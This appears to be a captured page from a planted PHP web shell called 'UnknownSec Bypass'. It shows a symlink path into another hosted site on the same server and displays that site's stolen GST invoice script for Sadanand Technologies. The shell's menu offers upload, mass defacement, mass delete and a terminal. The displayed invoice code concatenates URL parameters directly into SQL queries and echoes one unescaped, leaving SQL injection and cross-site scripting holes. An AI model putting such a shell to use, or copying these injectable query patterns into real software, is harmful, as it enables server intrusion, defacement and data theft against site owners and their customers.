UnknownSec Bypass
403
:
/
var
/
www
/
jpsagrisolution
/
cpanel
/
product_images
/
sym
/
root
/
var
/
www
/
stbilling
/
cpanel
/ [
drwxrwxr-x
]
Menu
Upload
Mass depes
Mass delete
Terminal
Info server
About
name :
print_gstbill.php
<?php include "../config.php"; session_start(); if (!isset($_SESSION['userid'])) { header("Location: {$hostnameep}/login.php"); } $mainvoucherno= $_GET['id']; $op= $_GET['op']; //$conn=mysqli_connect("localhost:3307","root","","omsaimachinerydb") or die("Connection failled:" . mysqli_connect_error()); //$conn=mysqli_connect("localhost:3306","root","root!@#123","omsaimachinerydb") or die("Connection failled:" . mysqli_connect_error()); $transactiondate=""; $partyname=""; $address=""; $gstinno=""; $invoiceno=""; $stateofsupply=""; $placeofsupply=""; $taxableamount=0; $totaltax=0; $totalamount=0; $netamount=0; $partyaddress=""; $partygstino=""; $companyheader=""; $companyaddress1=""; $companyaddress2=""; $companymobileno=""; $companygstinno=""; $companybankname=""; $companyaccountno=""; $companyifsccode=""; $finid= $_SESSION['financialyearid']; $companyid= $_SESSION['companyid']; $sql="Select * from v_companybankdetails where companyid= '". $companyid."'"; $result=mysqli_query($conn, $sql) or die("Query Failed."); if (mysqli_num_rows($result)>0) { while ($row = mysqli_fetch_assoc($result)) { $companyheader=$row["headertext"]; $companyaddress1=$row["addresss1"]; $companyaddress2=$row["addresss2"]; $companygstinno=$row["gstno"]; $companymobileno=$row["phoneno"]; $companybankname=$row["bankname"]; $companyaccountno=$row["accountno"]; $companyifsccode=$row["ifsccode"]; } } $sql="Select distinct * from v_transactiondetails where mainvoucherno= '".$mainvoucherno."' and financialyearid='".$finid."' and isdeleted=0"; $result=mysqli_query($conn, $sql) or die("Query Failed."); if (mysqli_num_rows($result)>0) { while ($row = mysqli_fetch_assoc($result)) { $transactiondate=$row["transactiondate"]; $partyname=$row["partyname"]; if($companyid=='3') { $invoiceno="Bly/".$row["voucherno"]; } else if($companyid=='5') { $invoiceno= "Lko/".$row["voucherno"]; } else { $invoiceno=$row["voucherno"]; } $stateofsupply=$row["statename"]; $placeofsupply=$row["districtname"]; $partyaddress= $row["address1"]; $partygstino= $row["gstinno"]; } } $sql="Select sum(cgstamt+sgstamt+igstamt) as totaltax from v_transactiondetails where mainvoucherno= '".$mainvoucherno."' and financialyearid='".$finid."' and isdeleted=0"; $result=mysqli_query($conn, $sql) or die("Query Failed."); while ($row = mysqli_fetch_assoc($result)) { $totaltax=floatval($row["totaltax"]); } $sql="Select sum(taxablevalue) as taxablevalue from v_transactiondetails where mainvoucherno= '".$mainvoucherno."' and financialyearid='".$finid."' and isdeleted=0"; $result=mysqli_query($conn, $sql) or die("Query Failed."); while ($row = mysqli_fetch_assoc($result)) { $taxableamount=floatval($row["taxablevalue"]); } $totalamount=$taxableamount+ $totaltax; $netamount=round($totalamount); $amountinworsd=getIndianCurrency($netamount); function getIndianCurrency(float $number) { $decimal = round($number - ($no = floor($number)), 2) * 100; $hundred = null; $digits_length = strlen($no); $i = 0; $str = array(); $words = array(0 => '', 1 => 'one', 2 => 'two', 3 => 'three', 4 => 'four', 5 => 'five', 6 => 'six', 7 => 'seven', 8 => 'eight', 9 => 'nine', 10 => 'ten', 11 => 'eleven', 12 => 'twelve', 13 => 'thirteen', 14 => 'fourteen', 15 => 'fifteen', 16 => 'sixteen', 17 => 'seventeen', 18 => 'eighteen', 19 => 'nineteen', 20 => 'twenty', 30 => 'thirty', 40 => 'forty', 50 => 'fifty', 60 => 'sixty', 70 => 'seventy', 80 => 'eighty', 90 => 'ninety'); $digits = array('', 'hundred','thousand','lakh', 'crore'); while( $i < $digits_length ) { $divider = ($i == 2) ? 10 : 100; $number = floor($no % $divider); $no = floor($no / $divider); $i += $divider == 10 ? 1 : 2; if ($number) { $plural = (($counter = count($str)) && $number > 9) ? 's' : null; $hundred = ($counter == 1 && $str[0]) ? ' and ' : null; $str [] = ($number < 21) ? $words[$number].' '. $digits[$counter]. $plural.' '.$hundred:$words[floor($number / 10) * 10].' '.$words[$number % 10]. ' '.$digits[$counter].$plural.' '.$hundred; } else $str[] = null; } $Rupees = implode('', array_reverse($str)); $paise = ($decimal > 0) ? "." . ($words[$decimal / 10] . " " . $words[$decimal % 10]) . ' Paise' : ''; return ($Rupees ? $Rupees . 'Rupees ' : '') . $paise; } ?> <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <head> <title></title> <style> @media print { @page { margin-top: 0; margin-bottom: 0; } body { padding-top: 72px; padding-bottom: 72px ; } } </style> </head> <body> <div style="width: 100%; font-family: verdana;" align="center"> <table> <tr> <td style="border: 2px solid #000000"> <table width="100%"> <tr> <td width="10%"> <img src="stlogo.png" alt="Sadanand Technologies" width="80" height="90" /> </td> <td width="80%" align="center"> <h2 align="center">SADANAND TECHNOLOGIES</h2> <h4 align="center"><?php echo $companyaddress1 ?><br /><?php echo $companymobileno ?></h4> <p><?php echo $companygstinno ?></p> </td> <td width="10%"> <p> <?php echo $op ?> </p> </td> </tr> </table> </td> </tr> <tr> <td style="border: 2px solid #000000"> <table> <tr> <td width="50%"> Party Name: <?php echo $partyname ?> <br /> Address: <?php echo $partyaddress ?> <br /> Gstin No. <?php echo $partygstino ?> </td> <td width="2px" bgcolor="Black"></td> <td width="50%"> Invoice No: <?php echo $invoiceno ?><br /> Invoice Date: <?php $date=date_create($transactiondate); echo date_format($date,"d-m-Y"); ?><br /> State of Supply: <?php echo $stateofsupply ?><br /> Place of Supply: <?php echo $placeofsupply ?> </td> </tr> </table> </td> </tr> <tr> <?php $id=$_GET["id"]; $finid= $_SESSION['financialyearid']; $sql="Select distinct * from v_transactiondetails where mainvoucherno= '".$mainvoucherno."' and financialyearid='".$finid."' and isdeleted=0"; $result=mysqli_query($conn, $sql) or die("Query Failed."); if (mysqli_num_rows($result)>0) { $totalcgst=0; $totalsgst=0; $totaligst=0; $totaltaxablemount=0; $tamount=0; ?> <td> <?php if($stateofsupply=="Uttar Pradesh") { ?> <table width="100%" border="2px"> <tr> <td><span style="font-family: verdana; font-size: 12px"><b>S.No.</b></span></td> <td><span style="font-family: verdana; font-size: 12px"><b>Product Name</b></span></td> <td><span style="font-family: verdana; font-size: 12px"><b>Hsn Code</b></span></td> <td><span style="font-family: verdana; font-size: 12px"><b>Qty</b></span></td> <td><span style="font-family: verdana; font-size: 12px"><b>Unit</b></span></td> <td><span style="font-family: verdana; font-size: 12px"><b>Rate</b></span></td> <td><span style="font-family: verdana; font-size: 12px"><b>Disc.</b></span></td> <td><span style="font-family: verdana; font-size: 12px"><b>Taxable Value</b></span></td> <td><span style="font-family: verdana; font-size: 12px"><b>CGst Amt</b></span></td> <td><span style="font-family: verdana; font-size: 12px"><b>SGst Amt</b></span></td> <td><span style="font-family: verdana; font-size: 12px"><b>Amount</b></span></td> </tr> <?php while ($row = mysqli_fetch_assoc($result)) { $totaltaxablemount= $totaltaxablemount+floatval($row['taxablevalue']); $tamount= $tamount+floatval($row['amount']); if($stateofsupply=="Uttar Pradesh") { $totalcgst= $totalcgst+floatval($row['cgstamt']); $totalsgst= $totalsgst+floatval($row['sgstamt']); } else { $totaligst= $totaligst+floatval($row['igstamt']); } ?> <tr> <td><span style="font-family: verdana; font-size: 12px"><?php echo $row['transactionno'];?></span></td> <td><span style="font-family: verdana; font-size: 12px"><?php echo $row['productname']; ?></span></td> <td><span style="font-family: verdana; font-size: 12px"><?php echo $row['hsncode']; ?></span></td> <td><span style="font-family: verdana; font-size: 12px"><?php echo $row['qty']; ?></span></td> <td><span style="font-family: verdana; font-size: 12px"><?php echo $row['unit']; ?></span></td> <td><span style="font-family: verdana; font-size: 12px"><?php echo $row['rate']; ?></span></td> <td><span style="font-family: verdana; font-size: 12px"><?php echo $row['discount']; ?></span></td> <td><span style="font-family: verdana; font-size: 12px"><?php echo $row['taxablevalue']; ?></span></td> <td><span style="font-family: verdana; font-size: 12px"><?php echo $row['cgstamt']; ?></span></br> <span style="font-family: verdana; font-size: 10px"><?php echo $row['cgstpercent']; ?></span> </td> <td><span style="font-family: verdana; font-size: 12px"><?php echo $row['sgstamt']; ?></span></br> <span style="font-family: verdana; font-size: 10px"><?php echo $row['sgstpercent']; ?></span> </td> <td><span style="font-family: verdana; font-size: 12px"><?php echo $row['amount']; ?></span></td> </tr> <?php } ?> <tr> <td></td> <td></td> <td></td> <td></td> <td></td> <td></td> <td><span style="font-family: verdana; font-size: 12px"><b>Total</b></span></td> <td><span style="font-family: verdana; font-size: 12px"><b><?php echo $totaltaxablemount; ?></b></span></td> <td><span style="font-family: verdana; font-size: 12px"><b><?php echo $totalcgst; ?></b></span></td> <td><span style="font-family: verdana; font-size: 12px"><b><?php echo $totalsgst; ?></b></span></td> <td><span style="font-family: verdana; font-size: 12px"><b><?php echo $tamount; ?></b></span></td> </tr> <?php } else { ?> <table width="100%" border="2px"> <tr> <td><span style="font-family: verdana; font-size: 12px"><b>S.No.</b></span></td> <td><span style="font-family: verdana; font-size: 12px"><b>Product Name</b></span></td> <td><span style="font-family: verdana; font-size: 12px"><b>Hsn Code</b></span></td> <td><span style="font-family: verdana; font-size: 12px"><b>Qty</b></span></td> <td><span style="font-family: verdana; font-size: 12px"><b>Unit</b></span></td> <td><span style="font-family: verdana; font-size: 12px"><b>Rate</b></span></td> <td><span style="font-family: verdana; font-size: 12px"><b>Disc.</b></span></td> <td><span style="font-family: verdana; font-size: 12px"><b>Taxable Value</b></span></td> <td><span style="font-family: verdana; font-size: 12px"><b>IGst Amt</b></span></td> <td><span style="font-family: verdana; font-size: 12px"><b>Amount</b></span></td> </tr> <?php while ($row = mysqli_fetch_assoc($result)) { $totaltaxablemount= $totaltaxablemount+floatval($row['taxablevalue']); $tamount= $tamount+floatval($row['amount']); if($stateofsupply=="Uttar Pradesh") { $totalcgst= $totalcgst+floatval($row['cgstamt']); $totalsgst= $totalsgst+floatval($row['sgstamt']); } else { $totaligst= $totaligst+floatval($row['igstamt']); } ?> <tr> <td><span style="font-family: verdana; font-size: 12px"><?php echo $row['transactionno'];?></span></td> <td><span style="font-family: verdana; font-size: 12px"><?php echo $row['productname']; ?></span></td> <td><span style="font-family: verdana; font-size: 12px"><?php echo $row['hsncode']; ?></span></td> <td><span style="font-family: verdana; font-size: 12px"><?php echo $row['qty']; ?></span></td> <td><span style="font-family: verdana; font-size: 12px"><?php echo $row['unit']; ?></span></td> <td><span style="font-family: verdana; font-size: 12px"><?php echo $row['rate']; ?></span></td> <td><span style="font-family: verdana; font-size: 12px"><?php echo $row['discount']; ?></span></td> <td><span style="font-family: verdana; font-size: 12px"><?php echo $row['taxablevalue']; ?></span></td> <td><span style="font-family: verdana; font-size: 12px"><?php echo $row['igstamt']; ?></span></br> <span style="font-family: verdana; font-size: 10px"><?php echo $row['igstpercent']; ?></span> </td> <td><span style="font-family: verdana; font-size: 12px"><?php echo $row['amount']; ?></span></td> </tr> <?php } ?> <tr> <td></td> <td></td> <td></td> <td></td> <td></td> <td></td> <td><span style="font-family: verdana; font-size: 12px"><b>Total</b></span></td> <td><span style="font-family: verdana; font-size: 12px"><b><?php echo $totaltaxablemount; ?></b></span></td> <td><span style="font-family: verdana; font-size: 12px"><b><?php echo $totaligst; ?></b></span></td> <td><span style="font-family: verdana; font-size: 12px"><b><?php echo $tamount; ?></b></span></td> </tr> <?php } ?> <?php } ?> </table> </td> </tr> <tr> <td style="border: 2px solid #000000"> <table> <tr> <td width="50%"> <table width="100%" border="2px"> <tr></tr> <tr></tr> <tr> <td colspan="5"> <b>Invoice Total in Words</b><br /> <?php echo ucwords($amountinworsd); ?> </td> </tr> </table> </td> <td width="2px" bgcolor="Black"></td> <td width="50%" align="Right"> Taxable Amount: <?php echo $taxableamount;?><br /> Total Tax: <?php echo $totaltax;?><br /> Total Amount: <?php echo $totalamount;?><br /> Net Amount: <?php echo $netamount;?> </td> </tr> </table> </td> </tr> <tr> <td width="100%"> <b>Bank Details:</b><br /> <table width="100%" border="2px"> <tr> <td><b>Bank Name </b></td> <td><b>Account No</b></td> <td><b>Ifsc Code</b></td> </tr> <tr> <td><?php echo $companybankname;?></td> <td><?php echo $companyaccountno;?></td> <td><?php echo $companyifsccode;?></td> </tr> </table> </td> </tr> <tr> <td style="border: 2px solid #000000"> <table> <tr> <td width="50%"> Terms & Conditions<br /> * Goods dispatched at Buyer's Risk.<br /> * All Subject to Bareilly Jurisdiction.<br /> * E.&.O.E. </td> <td width="2px" bgcolor="Black"></td> <td width="50%" align="Right"> Sadanand Technologies<br /> <img src="ssign.png" alt="Sign" width="80" height="90" /> <br /> Authorised Signatory </td> </tr> </table> </td> </tr> </table> </div> </body> </html>
Copyright © 2025 - UnknownSec